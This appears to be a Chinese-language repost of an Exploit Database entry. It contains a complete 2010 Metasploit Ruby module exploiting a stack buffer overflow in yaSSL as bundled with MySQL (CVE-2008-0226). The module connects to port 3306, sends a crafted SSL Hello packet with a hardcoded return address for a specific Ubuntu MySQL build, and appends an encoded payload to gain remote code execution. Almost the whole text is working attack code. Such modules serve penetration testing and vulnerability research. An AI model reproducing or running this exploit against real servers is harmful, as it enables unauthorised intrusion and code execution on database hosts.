MySQL yaSSL (Linux) – SSL Hello Message Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16849/

• ##
  # $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
  				implementation bundled with MySQL <= 6.0. By sending a specially crafted
  				Hello packet, an attacker may be able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-0226' ],
  					[ 'OSVDB', '41195' ],
  					[ 'BID', '27140' ],
  
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 100,
  					'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  				},
  			'Platform' => 'linux',
  			'Targets'=>
  				[
  					[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jan 4 2008'))
  
  		register_options(
  			[
  				Opt::RPORT(3306)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		sock.get_once
  
  		req_uno =[0x01000020].pack('V')
  
  		req_dos =[0x00008daa].pack('V') + [0x40000000].pack('V')
  		req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
  		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
  		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
  		req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
  		req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
  		req_dos << [target.ret].pack('V') + payload.encoded
  		req_dos << rand_text_alphanumeric(1024)
  
  		print_status("Trying target #{target.name}...")
  
  		sock.put(req_uno)
  		sock.put(req_dos)
  
  		handler
  		disconnect
  	end
  
  end